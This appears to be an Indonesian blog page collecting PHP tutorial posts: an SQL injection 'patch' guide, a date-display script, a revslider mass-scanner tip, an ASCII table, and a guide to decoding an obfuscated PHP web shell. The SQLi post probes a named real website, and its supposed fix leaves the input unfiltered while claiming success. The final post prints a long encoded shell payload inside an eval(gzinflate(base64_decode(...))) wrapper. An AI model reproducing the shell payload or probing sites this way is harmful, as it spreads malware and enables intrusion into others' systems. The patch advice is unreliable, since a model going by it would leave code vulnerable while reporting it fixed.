Showing posts with label Tutorial PHP. Show all posts
  • Cara Patch Bug SQL Injection



    Assalamuallaikum.. kali ini saya mau berbagi tutorial Patch bug SQLi atau SQL Injection.


    Bug ini merupakan bug yang terlihat terlalu sepele namun sangat besar bahayanya. karena dengan bug ini, hacker dapat mengeksrtak serta mencuri dan semua data pada database situs, termasuk user admin serta password atau juga data valid kartu kredit jika website yang diserang berupa shopping Web.

    Salah satu kasus di Indonesia adalah website resmi Polri yang kena bobol berkali-kali karena sang admin yang bisa dibilang tidak tahu security karena bug se tenar SQLi aja tidak tahu.

    Ada juga server balitbang juga kena retas. Penyebabnya adalah exploit 0day pada CMS Balitbang yang sering digunakan situs sekolah. Exploitnya ditemukan oleh team sec7or. Dan parahnya lagi, si attacker/hacker berhasil melakukan rooting atau previledge escallation dengan memanfaatkan exploit kernel. Sehingga web yang satu server dengan balitbang akan terkena dampaknya. Ibarat kata, tumbang satu, tumbang semua. Berikut adalah daftar situs yang terkena imbas dari rooting server balitbang tersebut: http://pastebin.com/j0tirM4G

    Nih Mirrornya : http://www.zone-h.org/mirror/id/23402942?zh=2  

    Percuma kalo tampilan web bener lagi, tapi ujung-ujungnya juga ntar masih ada bug SQLi-nya. Untuk itu saya membuat artikel ini. Semoga admin-admin di indonesia bisa lebih sadar akan ancaman cyber crime dan selalu belajar mengenai security.




    Langsung ssaja... 
    target saya : http://www.mohiniwebsolution.in/csl/gallery.php?id=2' 


    sekarang kita coba buka file ini dengan text editor, bisa notepad, wordpad, atau kalau ane sih sukanya pake notepad++ just info ;) hehehehe. Ini dia sebagian isi dari filenya : (disini saya file galerry.php)

    <?php include 'admin/db.php' ?>
    <?php
    $id=$_GET['id'];

    if($id!="")
    {
    $sql6=" WHERE category=$id";
    }
    ?>

    Bugnya ada di script bagian ini : <?php $id=$_GET['id'];

    tidak adanya filter di $_GET[postid] menyebabkan web ini vulnerable. Oke script penyebab ini semua telah kita temukan, sekarang saatnya patching. Tambahkan script ini diatas script vulnerable diatas :

    <?php include 'admin/db.php' ?>
    <?php
    //filter start here
    $postid= $_GET['postid'];
    $ip = GETENV("REMOTE_ADDR");

    if($id!="")
    {
    $sql6=" WHERE category=$id";
    }
    ?>


    sekarang coba buka lagi page vulnerable dan tambahkan single quote(‘) dan tarra proses patching telah berhasil

     
     
    Kenapa saya katakan vuln-nya sudah hilang ? Karena untuk tanda vulnerability pada sql adalah, ketika di akhir url saya beri tanda ' , halaman menunjukkan peringatan error sseperti "Warning: mysql_fetch_array........." , tapi setelah saya set ulang untuk sksrip parameter gallery.php nya. Peringatan Warning tidak muncul meski saya beri tanda ' di akhir URL. 
     
    Ada juga tanda vuln SQLi yang lain, biasanya adalah ada bagian konten web yang menghilang secara misterius :D , seperti gambarnya berkurang atau rusak.
     
    Cukup ssekia dari saya, semoga bissa bermanfaat untuk anda.

  • Menampilkan Hari, Tanggal, Bulan dan Jam Saat Ini dengan PHP


    Sebenarnya dari kemarin mau posting di blog ini, mau lebih bertanggung jawab atas apa yg sudah di buat. hehe
    Tapi karena akhir-akhir ini pembaharuan template website kantor lagi dikejar deadline, dan jam kuliah yang lumayan padat jadi ditunda terus deh update blognya.
    Kebetulan tadi baru saja menambahkan fungsi yang terlupa di website baru. yaitu menampilkan hari, tanggal, bulan dan jam saat ini di header. Nah, sekalian saja deh saya share di sini.
    <?php
    /* script menentukan hari */  
     $array_hr= array(1=>"Senin","Selasa","Rabu","Kamis","Jumat","Sabtu","Minggu");
     $hr = $array_hr[date('N')];

    /* script menentukan tanggal */   
    $tgl= date('j');
    /* script menentukan bulan */
      $array_bln = array(1=>"Januari","Februari","Maret", "April", "Mei","Juni","Juli","Agustus","September","Oktober", "November","Desember");
      $bln = $array_bln[date('n')];
    /* script menentukan tahun */ 
    $thn = date('Y');
    /* script perintah keluaran*/ 
     echo $hr . ", " . $tgl . " " . $bln . " " . $thn . " " . date('H:i');
     ?>
    Dari script diatas, akan muncul tampilan seperti ini :Jumat, 11 Oktober 2013 15:18
     Untuk penjelasan script, sengaja saya membuatnya menjadi warna-warni. semoga dapat dimengerti dengan baik ya. Kalau masih ada yang bingung dengan fungsinya, silahkan tinggalkan komentar dan dengan senang hati saya jelaskan. hhihiiii 
    Semoga bermanfaat dan CMIIW :) 
     
    Sumber 
  • how to make mass scanners without http: // or https: // "PHP"

    How to make mass scanners without http: // or https: //  in php ?
    I use example revslider scanners mass use http:// to mass not use http://
    Script by Magnom Codersleet team
    This easy but for beginner ? 
    This example  screenshot  using http: // or https: //
    See Script 


    how to make mass scanners without http: // or https: //  ?
    Look Screen shot
    Add "$http="http://"; in ur script and add get ($http)
    Example in ScreenShot

    This Simple :D
    Ok thanks
    To met another time
    I Love U All
  • ASCII Code - The extended ASCII table

    ASCII control characters (character code 0-31)

    The first 32 characters in the ASCII-table are unprintable control codes and are used to control peripherals such as printers.
    DEC OCT HEX BIN Symbol HTML Number HTML Name Description
    00000000000000NUL&#000; Null char
    10010100000001SOH&#001; Start of Heading
    20020200000010STX&#002; Start of Text
    30030300000011ETX&#003; End of Text
    40040400000100EOT&#004; End of Transmission
    50050500000101ENQ&#005; Enquiry
    60060600000110ACK&#006; Acknowledgment
    70070700000111BEL&#007; Bell
    80100800001000 BS&#008; Back Space
    90110900001001 HT&#009; Horizontal Tab
    100120A00001010 LF&#010; Line Feed
    110130B00001011 VT&#011; Vertical Tab
    120140C00001100 FF&#012; Form Feed
    130150D00001101 CR&#013; Carriage Return
    140160E00001110 SO&#014; Shift Out / X-On
    150170F00001111 SI&#015; Shift In / X-Off
    160201000010000DLE&#016; Data Line Escape
    170211100010001DC1&#017; Device Control 1 (oft. XON)
    180221200010010DC2&#018; Device Control 2
    190231300010011DC3&#019; Device Control 3 (oft. XOFF)
    200241400010100DC4&#020; Device Control 4
    210251500010101NAK&#021; Negative Acknowledgement
    220261600010110SYN&#022; Synchronous Idle
    230271700010111ETB&#023; End of Transmit Block
    240301800011000CAN&#024; Cancel
    250311900011001 EM&#025; End of Medium
    260321A00011010SUB&#026; Substitute
    270331B00011011ESC&#027; Escape
    280341C00011100 FS&#028; File Separator
    290351D00011101 GS&#029; Group Separator
    300361E00011110 RS&#030; Record Separator
    310371F00011111 US&#031; Unit Separator

    ASCII printable characters (character code 32-127) Codes 32-127 are common for all the different variations of the ASCII table, they are called printable characters, represent letters, digits, punctuation marks, and a few miscellaneous symbols. You will find almost every character on your keyboard. Character 127 represents the command DEL.

    DEC OCT HEX BIN Symbol HTML Number HTML Name Description
    320402000100000 &#32; Space
    330412100100001!&#33; Exclamation mark
    340422200100010"&#34;&quot;Double quotes (or speech marks)
    350432300100011#&#35; Number
    360442400100100$&#36; Dollar
    370452500100101%&#37; Procenttecken
    380462600100110&&#38;&amp;Ampersand
    390472700100111'&#39; Single quote
    400502800101000(&#40; Open parenthesis (or open bracket)
    410512900101001)&#41; Close parenthesis (or close bracket)
    420522A00101010*&#42; Asterisk
    430532B00101011+&#43; Plus
    440542C00101100,&#44; Comma
    450552D00101101-&#45; Hyphen
    460562E00101110.&#46; Period, dot or full stop
    470572F00101111/&#47; Slash or divide
    4806030001100000&#48; Zero
    4906131001100011&#49; One
    5006232001100102&#50; Two
    5106333001100113&#51; Three
    5206434001101004&#52; Four
    5306535001101015&#53; Five
    5406636001101106&#54; Six
    5506737001101117&#55; Seven
    5607038001110008&#56; Eight
    5707139001110019&#57; Nine
    580723A00111010:&#58; Colon
    590733B00111011;&#59; Semicolon
    600743C00111100<&#60;&lt;Less than (or open angled bracket)
    610753D00111101=&#61; Equals
    620763E00111110>&#62;&gt;Greater than (or close angled bracket)
    630773F00111111?&#63; Question mark
    641004001000000@&#64; At symbol
    651014101000001A&#65; Uppercase A
    661024201000010B&#66; Uppercase B
    671034301000011C&#67; Uppercase C
    681044401000100D&#68; Uppercase D
    691054501000101E&#69; Uppercase E
    701064601000110F&#70; Uppercase F
    711074701000111G&#71; Uppercase G
    721104801001000H&#72; Uppercase H
    731114901001001I&#73; Uppercase I
    741124A01001010J&#74; Uppercase J
    751134B01001011K&#75; Uppercase K
    761144C01001100L&#76; Uppercase L
    771154D01001101M&#77; Uppercase M
    781164E01001110N&#78; Uppercase N
    791174F01001111O&#79; Uppercase O
    801205001010000P&#80; Uppercase P
    811215101010001Q&#81; Uppercase Q
    821225201010010R&#82; Uppercase R
    831235301010011S&#83; Uppercase S
    841245401010100T&#84; Uppercase T
    851255501010101U&#85; Uppercase U
    861265601010110V&#86; Uppercase V
    871275701010111W&#87; Uppercase W
    881305801011000X&#88; Uppercase X
    891315901011001Y&#89; Uppercase Y
    901325A01011010Z&#90; Uppercase Z
    911335B01011011[&#91; Opening bracket
    921345C01011100\&#92; Backslash
    931355D01011101]&#93; Closing bracket
    941365E01011110^&#94; Caret - circumflex
    951375F01011111_&#95; Underscore
    961406001100000`&#96; Grave accent
    971416101100001a&#97; Lowercase a
    981426201100010b&#98; Lowercase b
    991436301100011c&#99; Lowercase c
    1001446401100100d&#100; Lowercase d
    1011456501100101e&#101; Lowercase e
    1021466601100110f&#102; Lowercase f
    1031476701100111g&#103; Lowercase g
    1041506801101000h&#104; Lowercase h
    1051516901101001i&#105; Lowercase i
    1061526A01101010j&#106; Lowercase j
    1071536B01101011k&#107; Lowercase k
    1081546C01101100l&#108; Lowercase l
    1091556D01101101m&#109; Lowercase m
    1101566E01101110n&#110; Lowercase n
    1111576F01101111o&#111; Lowercase o
    1121607001110000p&#112; Lowercase p
    1131617101110001q&#113; Lowercase q
    1141627201110010r&#114; Lowercase r
    1151637301110011s&#115; Lowercase s
    1161647401110100t&#116; Lowercase t
    1171657501110101u&#117; Lowercase u
    1181667601110110v&#118; Lowercase v
    1191677701110111w&#119; Lowercase w
    1201707801111000x&#120; Lowercase x
    1211717901111001y&#121; Lowercase y
    1221727A01111010z&#122; Lowercase z
    1231737B01111011{&#123; Opening brace
    1241747C01111100|&#124; Vertical bar
    1251757D01111101}&#125; Closing brace
    1261767E01111110~&#126; Equivalency sign - tilde
    1271777F01111111
    &#127; Delete

    The extended ASCII codes (character code 128-255)
    There are several different variations of the 8-bit ASCII table. The table below is according to ISO 8859-1, also called ISO Latin-1. Codes 129-159 contain the Microsoft� Windows Latin-1 extended characters.
    DEC OCT HEX BIN Symbol HTML Number HTML Name Description
    1282008010000000&#128;&euro;Euro sign
    1292018110000001    
    1302028210000010&#130;&sbquo;Single low-9 quotation mark
    1312038310000011Æ’&#131;&fnof;Latin small letter f with hook
    1322048410000100&#132;&bdquo;Double low-9 quotation mark
    1332058510000101&#133;&hellip;Horizontal ellipsis
    1342068610000110&#134;&dagger;Dagger
    1352078710000111&#135;&Dagger;Double dagger
    1362108810001000ˆ&#136;&circ;Modifier letter circumflex accent
    1372118910001001&#137;&permil;Per mille sign
    1382128A10001010Å &#138;&Scaron;Latin capital letter S with caron
    1392138B10001011&#139;&lsaquo;Single left-pointing angle quotation
    1402148C10001100Å’&#140;&OElig;Latin capital ligature OE
    1412158D10001101    
    1422168E10001110Ž&#142; Latin captial letter Z with caron
    1432178F10001111    
    1442209010010000    
    1452219110010001&#145;&lsquo;Left single quotation mark
    1462229210010010&#146;&rsquo;Right single quotation mark
    1472239310010011&#147;&ldquo;Left double quotation mark
    1482249410010100&#148;&rdquo;Right double quotation mark
    1492259510010101&#149;&bull;Bullet
    1502269610010110&#150;&ndash;En dash
    1512279710010111&#151;&mdash;Em dash
    1522309810011000˜&#152;&tilde;Small tilde
    1532319910011001&#153;&trade;Trade mark sign
    1542329A10011010Å¡&#154;&scaron;Latin small letter S with caron
    1552339B10011011&#155;&rsaquo; Single right-pointing angle quotation mark
    1562349C10011100Å“&#156;&oelig;Latin small ligature oe
    1572359D10011101    
    1582369E10011110ž&#158; Latin small letter z with caron
    1592379F10011111Ÿ&#159;&yuml;Latin capital letter Y with diaeresis
    160240A010100000 &#160;&nbsp;Non-breaking space
    161241A110100001&#161;&iexcl;Inverted exclamation mark
    162242A210100010&#162;&cent;Cent sign
    163243A310100011&#163;&pound;Pound sign
    164244A410100100&#164;&curren;Currency sign
    165245A510100101&#165;&yen;Yen sign
    166246A610100110&#166;&brvbar;Pipe, Broken vertical bar
    167247A710100111&#167;&sect;Section sign
    168250A810101000&#168;&uml;Spacing diaeresis - umlaut
    169251A910101001&#169;&copy;Copyright sign
    170252AA10101010&#170;&ordf;Feminine ordinal indicator
    171253AB10101011&#171;&laquo;Left double angle quotes
    172254AC10101100&#172;&not;Not sign
    173255AD10101101&#173;&shy;Soft hyphen
    174256AE10101110&#174;&reg;Registered trade mark sign
    175257AF10101111&#175;&macr;Spacing macron - overline
    176260B010110000&#176;&deg;Degree sign
    177261B110110001&#177;&plusmn;Plus-or-minus sign
    178262B210110010&#178;&sup2;Superscript two - squared
    179263B310110011&#179;&sup3;Superscript three - cubed
    180264B410110100&#180;&acute;Acute accent - spacing acute
    181265B510110101&#181;&micro;Micro sign
    182266B610110110&#182;&para;Pilcrow sign - paragraph sign
    183267B710110111&#183;&middot;Middle dot - Georgian comma
    184270B810111000&#184;&cedil;Spacing cedilla
    185271B910111001&#185;&sup1;Superscript one
    186272BA10111010&#186;&ordm;Masculine ordinal indicator
    187273BB10111011&#187;&raquo;Right double angle quotes
    188274BC10111100&#188;&frac14;Fraction one quarter
    189275BD10111101&#189;&frac12;Fraction one half
    190276BE10111110&#190;&frac34;Fraction three quarters
    191277BF10111111&#191;&iquest;Inverted question mark
    192300C011000000&#192;&Agrave;Latin capital letter A with grave
    193301C111000001&#193;&Aacute;Latin capital letter A with acute
    194302C211000010&#194;&Acirc;Latin capital letter A with circumflex
    195303C311000011&#195;&Atilde;Latin capital letter A with tilde
    196304C411000100&#196;&Auml;Latin capital letter A with diaeresis
    197305C511000101&#197;&Aring;Latin capital letter A with ring above
    198306C611000110&#198;&AElig;Latin capital letter AE
    199307C711000111&#199;&Ccedil;Latin capital letter C with cedilla
    200310C811001000&#200;&Egrave;Latin capital letter E with grave
    201311C911001001&#201;&Eacute;Latin capital letter E with acute
    202312CA11001010&#202;&Ecirc;Latin capital letter E with circumflex
    203313CB11001011&#203;&Euml;Latin capital letter E with diaeresis
    204314CC11001100&#204;&Igrave;Latin capital letter I with grave
    205315CD11001101&#205;&Iacute;Latin capital letter I with acute
    206316CE11001110&#206;&Icirc;Latin capital letter I with circumflex
    207317CF11001111&#207;&Iuml;Latin capital letter I with diaeresis
    208320D011010000&#208;&ETH;Latin capital letter ETH
    209321D111010001&#209;&Ntilde;Latin capital letter N with tilde
    210322D211010010&#210;&Ograve;Latin capital letter O with grave
    211323D311010011&#211;&Oacute;Latin capital letter O with acute
    212324D411010100&#212;&Ocirc;Latin capital letter O with circumflex
    213325D511010101&#213;&Otilde;Latin capital letter O with tilde
    214326D611010110&#214;&Ouml;Latin capital letter O with diaeresis
    215327D711010111&#215;&times;Multiplication sign
    216330D811011000&#216;&Oslash;Latin capital letter O with slash
    217331D911011001&#217;&Ugrave;Latin capital letter U with grave
    218332DA11011010&#218;&Uacute;Latin capital letter U with acute
    219333DB11011011&#219;&Ucirc;Latin capital letter U with circumflex
    220334DC11011100&#220;&Uuml;Latin capital letter U with diaeresis
    221335DD11011101&#221;&Yacute;Latin capital letter Y with acute
    222336DE11011110&#222;&THORN;Latin capital letter THORN
    223337DF11011111&#223;&szlig;Latin small letter sharp s - ess-zed
    224340E011100000&#224;&agrave;Latin small letter a with grave
    225341E111100001&#225;&aacute;Latin small letter a with acute
    226342E211100010&#226;&acirc;Latin small letter a with circumflex
    227343E311100011&#227;&atilde;Latin small letter a with tilde
    228344E411100100&#228;&auml;Latin small letter a with diaeresis
    229345E511100101&#229;&aring;Latin small letter a with ring above
    230346E611100110&#230;&aelig;Latin small letter ae
    231347E711100111&#231;&ccedil;Latin small letter c with cedilla
    232350E811101000&#232;&egrave;Latin small letter e with grave
    233351E911101001&#233;&eacute;Latin small letter e with acute
    234352EA11101010&#234;&ecirc;Latin small letter e with circumflex
    235353EB11101011&#235;&euml;Latin small letter e with diaeresis
    236354EC11101100&#236;&igrave;Latin small letter i with grave
    237355ED11101101&#237;&iacute;Latin small letter i with acute
    238356EE11101110&#238;&icirc;Latin small letter i with circumflex
    239357EF11101111&#239;&iuml;Latin small letter i with diaeresis
    240360F011110000&#240;&eth;Latin small letter eth
    241361F111110001&#241;&ntilde;Latin small letter n with tilde
    242362F211110010&#242;&ograve;Latin small letter o with grave
    243363F311110011&#243;&oacute;Latin small letter o with acute
    244364F411110100&#244;&ocirc;Latin small letter o with circumflex
    245365F511110101&#245;&otilde;Latin small letter o with tilde
    246366F611110110&#246;&ouml;Latin small letter o with diaeresis
    247367F711110111&#247;&divide;Division sign
    248370F811111000&#248;&oslash;Latin small letter o with slash
    249371F911111001&#249;&ugrave;Latin small letter u with grave
    250372FA11111010&#250;&uacute;Latin small letter u with acute
    251373FB11111011&#251;&ucirc;Latin small letter u with circumflex
    252374FC11111100&#252;&uuml;Latin small letter u with diaeresis
    253375FD11111101&#253;&yacute;Latin small letter y with acute
    254376FE11111110&#254;&thorn;Latin small letter thorn
    255377FF11111111&#255;&yuml;Latin small letter y with diaeresis



    Thank's For Sourcode : http://www.ascii-code.com/
  • Decode PHP Hex shell code

    Brem brem :D :D

    Sebelum Membahas thread ini , saya mau blg dulu supaya ini tidak terjadi kesalahan pemahaman , saya memberi tahu ini supaya pengalaman kita bertambah ..

    Dan sejujurnya kita mendecode shell orang lain itu tidak apa-apa , asalkan jangan di edit Pembuatannya entar pada emosi :emosi:

    Oke bro ?
    [quote]Inget thread ini hanya membahas tidak untuk merusak code code untuk pembuatny[/quote]

    Langsung .. disini kita tidak perlu alat2 apa pun , menggunakan alat membuat kita semakin bodoh dalam belajar :mewek:

    Pertama sedia kan shell yang terenkripsi php encode yang berbentuk hex .

    Mungkin melihat begini saja buat kita kaget , (bagaimana sih encode ini shellnya").

    Bahkan susah itu tidak seperti yang kita lihat .

    Buat yang pnya shell maaf yo :D cuman buat belajar aja bukan karena sok hebat atau apa .

    http://prntscr.com/35taol

    Encode nya terlihat susah kan :( , ditahun 2011 saya mendapatkan shell ini untuk belajar decode shell .. tapi alhamdulillah udah bisa :D karena hanya try & error saja , saya bisa :D kwkwkw

    Sebelumnya , bahasa ni dikenal dengan bahasa Hex .. sekarang bagaimana untuk mengdecode kan he ini ? apakah tinggal copy terus paste ke decode hex online ? wogh tidak dong mas bro , masi ada yang harus di kotak katik :D :D

    Pertama , Kita bongkar dolo code hex nya ini , yaitu dengan menghapus code \x ganti menjadi  (spasi)



    Jika sudah kita copy lagi code hex nya ke sini http://www.asciitohex.com/ .

    Lalu masukin code nya ke hexdecimal lalu convert .


    Sekarang copy kode $syntax

    Lalu decode hex yang ke duanya ..


    Sekarang kita akan decode shellnya :D :D

    Pertama agan liat code eval dibawah nya :D yaitu eval(gzinflate(base64_decode(str_rot13(strrev($syntax)

    Lihat ,, yang dilihat jangan sebelah evalnya tetapi $syntax :D

    masi belum ngerti ?? ,

    Eval adalah sautu perintah untuk mengevaluasikan suatu string pada php .. sekarang eval sedang mengevaluasikan string $syntax bukan gzinflat blabla itu okey jangan tertipu akan daya php ini :D kwkwwkkw ..

    Jadi bagaimanakah kita pecahkan decode ni seperti semula ??

    Sekarang kita susun kembali menjadi


    <? eval(gzinflate(base64_decode(str_rot13(strrev(==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